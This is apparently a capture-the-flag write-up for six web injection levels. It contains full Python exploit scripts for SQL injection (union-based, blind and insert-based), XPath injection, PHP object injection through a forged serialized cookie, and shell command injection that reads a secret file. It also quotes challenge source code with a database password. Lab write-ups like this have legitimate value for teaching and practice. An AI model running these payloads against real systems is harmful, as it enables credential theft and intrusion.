web_of_ages consisted of six levels, all with one sort of injection exploit.
This level had basically no filter and a normal “print” statement, so all you needed to do was to select the username and password from the database. The username was especially easy, just circumvent the check with {"user":"???", "' OR 1=1 -- "}
, the result was admin
. To get the password we used UNION: {"user":"admin", "password":"' AND 0=1 UNION (SELECT password, password, password FROM auth WHERE username = '{}') -- "}
.
Here we had the same scenario as in Level 1, just blind. This meant that we had to adjust our exploit to just brute one char of each field after the other. The delicacy is to make sure to get upper- and lowercase correct here.
#! /usr/bin/python3.3
import argparse
from collections import OrderedDict
import re
import requests
url = "http://task02.webhacky1/tasks/injection2/auth2.php"
proxies = dict()
def send_request(fieldname, offset, number):
password = "' OR 1=1 AND ascii(substring((SELECT %(fieldname)s from auth limit 0,1),%(offset)s,1))>%(number)s ;#"
payload = {
'username': 'admin',
'password': password % {'fieldname': fieldname, 'offset': offset, 'number': number}
}
r = requests.post(url, data=payload)
return "alert alert-danger" not in r.text
def bruteforce_step(fieldname, offset, bottom, top):
if bottom == top:
print("\b"+chr(bottom), end="", flush=True)
return bottom
pivot = int((top-bottom)/2 + bottom)
print("\b"+chr(pivot), end="", flush=True)
if send_request(fieldname, offset, pivot):
# higher
return bruteforce_step(fieldname, offset, pivot+1, top)
else:
# lower
return bruteforce_step(fieldname, offset, bottom, pivot)
def bruteforce_characters():
login = OrderedDict([('username', ''), ('password', '')])
for fieldname in login:
offset = 1
while send_request(fieldname, offset, 0):
print(" ", end="")
character = chr(bruteforce_step(fieldname, offset, 0, 128))
login[fieldname] += character
offset += 1
print('') # newline
return login
def login(loginData):
payload = {
'username': loginData['username'],
'password': loginData['password']
}
r = requests.post(url, data=payload)
return r.text
def main():
loginData = bruteforce_characters()
response = login(loginData)
print(response)
if __name__ == "__main__":
main()
Here we had a simple XPath injection, easy and without any filters in place. You can read more about the basics of an XPath injection in this OWASP article about it.
#! /usr/bin/python3.3
import string
import argparse
from collections import OrderedDict
import re
import requests
url = "http://URL:PORT/"
def send_request(user, password):
#password = "' or substring((//Accounts[position()=1]/child::node()[position()=1]),1,1)='%s' and ''='"
payload = {
'username': user,
'password': password
}
r = requests.post(url, data=payload)
return r.text
def login(loginData):
payload = {
'username': loginData['username'],
'password': loginData['password']
}
r = requests.post(url, data=payload)
return r.text
def main():
accountCount = 0
for c in range(20):
password = "' or count(../account)='%d' and ''='" % c
response = send_request('admin', password)
if "alert alert-danger" not in response:
accountCount = c
break
print("%d Accounts found" % accountCount)
for account in range(1, accountCount+1):
print("Account %d" % account)
loginData = OrderedDict([('username', ''), ('password', '')])
for fieldname in loginData:
length = 0
for i in range(50):
#password = "' or string-length(../child::node()[position()=1]/child::*[position()=3])='%d" % i
#password = "' or string-length(../account[position()=%d]/child::*[position()=%d])='%d" % (account, userpass, i)
password = "' or string-length(../account[position()=%d]/%s)='%d" % (account, fieldname, i)
response = send_request('admin', password)
if "alert alert-danger" not in response:
length = i
break
output = ''
for offset in range(length):
print(' ', end="")
for c in string.printable:
print("\b"+c, end="", flush=True)
#password = "' or substring(name(parent::*[position()=1]),%s,1)='%s" % (offset+1, c)
#password = "' or substring(./child::*[position()=3],%s,1)='%s" % (offset+1, c)
password = "' or substring(../account[position()=%d]/%s,%s,1)='%s" % (account, fieldname, offset+1, c)
response = send_request('admin', password)
if "alert alert-danger" not in response:
output += c
break
print('')
loginData[fieldname] = output
response = send_request(loginData['username'], loginData['password'])
print(response)
if __name__ == "__main__":
main()
Now we have an object injection and the hint to look for the source in the repository. The repository was located in ./.git
and could be downloaded with any tool of your choosing, e.g. this one.
The file contained classes.php
<?php
class user {
public $name = 'guest';
public $state = 'guest';
private $system;
public function __construct(){
$this->system = new core();
}
public function do_login($user, $password){
if($this->system->check_login_data($user, $password)){
$this->name = $user;
return true;
}
return false;
}
}
class core {
private $mode = 'productive';
protected $db;
public function __construct(){
$this->connect_to_db();
}
public function __wakeup(){
$this->connect_to_db();
}
private function connect_to_db(){
$this->db = new mysqli("localhost", "auth7", "jNu6bewP9uy7VCbs", "auth7");
}
public function check_login_data( $name, $password ){
$q = sprintf('SELECT * FROM auth7 WHERE name = "%s"', $this->db->real_escape_string($name));
$qres = $this->db->query($q);
if($qres->num_rows == 0)
return false;
$user = $qres->fetch_assoc();
if($this->mode === 'debug')
$this->dbg_info($user);
if($user['password'] == $password){
return true;
}
return false;
}
public function call_bin( $path ){
if($this->mode === 'debug')
$this->dbg_info( $path );
return passthru( $path );
}
public function eval_code( $code ){
if($this->mode === 'debug')
$this->dbg_info( $code );
ob_start();
eval($code);
$tmp = ob_get_clean();
return $tmp;
}
private function dbg_info( $data ){
printf('DEBUG %s: %s', date('H:i:s'), var_export($data, true));
}
}
?>
and index.php
if(isset($_COOKIE['user'])){
$user = unserialize(base64_decode($_COOKIE['user']));
} else {
$user = new user();
}
You needed to craft a custom cookie and set the $core->mode
to debug, this would print the password out for you upon trying to login as admin
the next time.
#! /usr/bin/python3.3
import string
import argparse
from collections import OrderedDict
import re
import requests
url = "http://URL:PORT/"
def send_request(user, password, cookies):
payload = {
'username': user,
'password': password
}
r = requests.post(url, data=payload, cookies=cookies)
return r.text
def main():
cookies = {'user': 'Tzo0OiJ1c2VyIjozOntzOjQ6Im5hbWUiO3M6NToiZ3Vlc3QiO3M6NToic3RhdGUiO3M6NToiZ3Vlc3QiO3M6MTI6IgB1c2VyAHN5c3RlbSI7Tzo0OiJjb3JlIjoyOntzOjEwOiIAY29yZQBtb2RlIjtzOjU6ImRlYnVnIjtzOjU6IgAqAGRiIjtPOjY6Im15c3FsaSI6MTk6e3M6MTM6ImFmZmVjdGVkX3Jvd3MiO047czoxMToiY2xpZW50X2luZm8iO047czoxNDoiY2xpZW50X3ZlcnNpb24iO047czoxMzoiY29ubmVjdF9lcnJubyI7TjtzOjEzOiJjb25uZWN0X2Vycm9yIjtOO3M6NToiZXJybm8iO047czo1OiJlcnJvciI7TjtzOjEwOiJlcnJvcl9saXN0IjtOO3M6MTE6ImZpZWxkX2NvdW50IjtOO3M6OToiaG9zdF9pbmZvIjtOO3M6NDoiaW5mbyI7TjtzOjk6Imluc2VydF9pZCI7TjtzOjExOiJzZXJ2ZXJfaW5mbyI7TjtzOjE0OiJzZXJ2ZXJfdmVyc2lvbiI7TjtzOjQ6InN0YXQiO047czo4OiJzcWxzdGF0ZSI7TjtzOjE2OiJwcm90b2NvbF92ZXJzaW9uIjtOO3M6OToidGhyZWFkX2lkIjtOO3M6MTM6Indhcm5pbmdfY291bnQiO047fX19'}
response = send_request('admin', 'dummy', cookies)
passwordPattern = re.compile("'password' \=\> '([\W\w]*?)'")
m = passwordPattern.search(response)
password = m.group(1)
print("Password: ", password)
cookies = {}
response = send_request('admin', password, cookies)
print(response)
if __name__ == "__main__":
main()
Almost done, this time we have to fight an insert injection. You are presented with a login and registration page, but this time around the login is completely safe and the registration process is vulnerable.
After creating a dummy user and logging in you see that there is a status
field in the table that you can use to extract data.
#!/usr/bin/python3.6
import sys, re
import requests
import random, string
def inject(txt):
for i in range(3):
username = "{}".format(''.join(random.choices(string.ascii_lowercase + string.digits, k=12)))
password = "u', ({})) -- ".format(txt)
if register_account(username, password):
payload = {'username': username, 'password': 'u'}
data = requests.post("http://IP:PORT/", data=payload).text
return re.findall("status is: ([^\s]*)", data, re.S)[0]
return False
def register_account(username, password):
payload = {'username': username, 'password': password}
data = requests.post("http://IP:PORT/?register", data=payload).text
return ("Registration was successful" in data)
def login(username, password):
payload = {'username': username, 'password': password}
data = requests.post("http://IP:PORT/", data=payload).text
return data
def get_admin_password():
query = "SELECT SUBSTRING(password, {},5) AS p FROM users AS u WHERE u.name = \"admin\" LIMIT 1"
password = ""
while True:
substr = inject(query.format(len(password)+1))
if substr and len(substr) > 0:
password = password + substr
if len(substr) < 5:
break
else:
break
return password
def main(args):
password = get_admin_password()
data = login("admin", password)
print(data)
if __name__ == "__main__":
main(sys.argv)
Final level. This time we basically have “MD5 as a Service” and the command line injection gets pretty in your face since sending ;
is simply refusing to be executed. The only tricky part is a check that looks like the output seems to be a valid md5, so we have to do some improvisation.
#!/usr/bin/python3
import sys, re
import requests
import random, string
ext_url = "http://IP:PORT/"
def get_page(txt = ""):
payload = {'str': txt}
return requests.get(ext_url, params=payload).text
def get_hash(data):
return re.findall('([0-9a-f]{32})', data, re.S)[0]
def main(args):
file = ""
query = "\\' | cat .htsecret | od -j {} -N 16 -A n -v -t x1 | tr -d ' \\n' # "
i = 0
while True:
data = get_page(query.format(i))
if "does not look" not in data and "seems like there was an error" not in data:
file = file + get_hash(data)
i = i + 16
else:
break
if len(file) > 0:
data = bytes.fromhex(file).decode('utf-8')
if len(data) > 0:
print(data.strip())
if __name__ == "__main__":
main(sys.argv)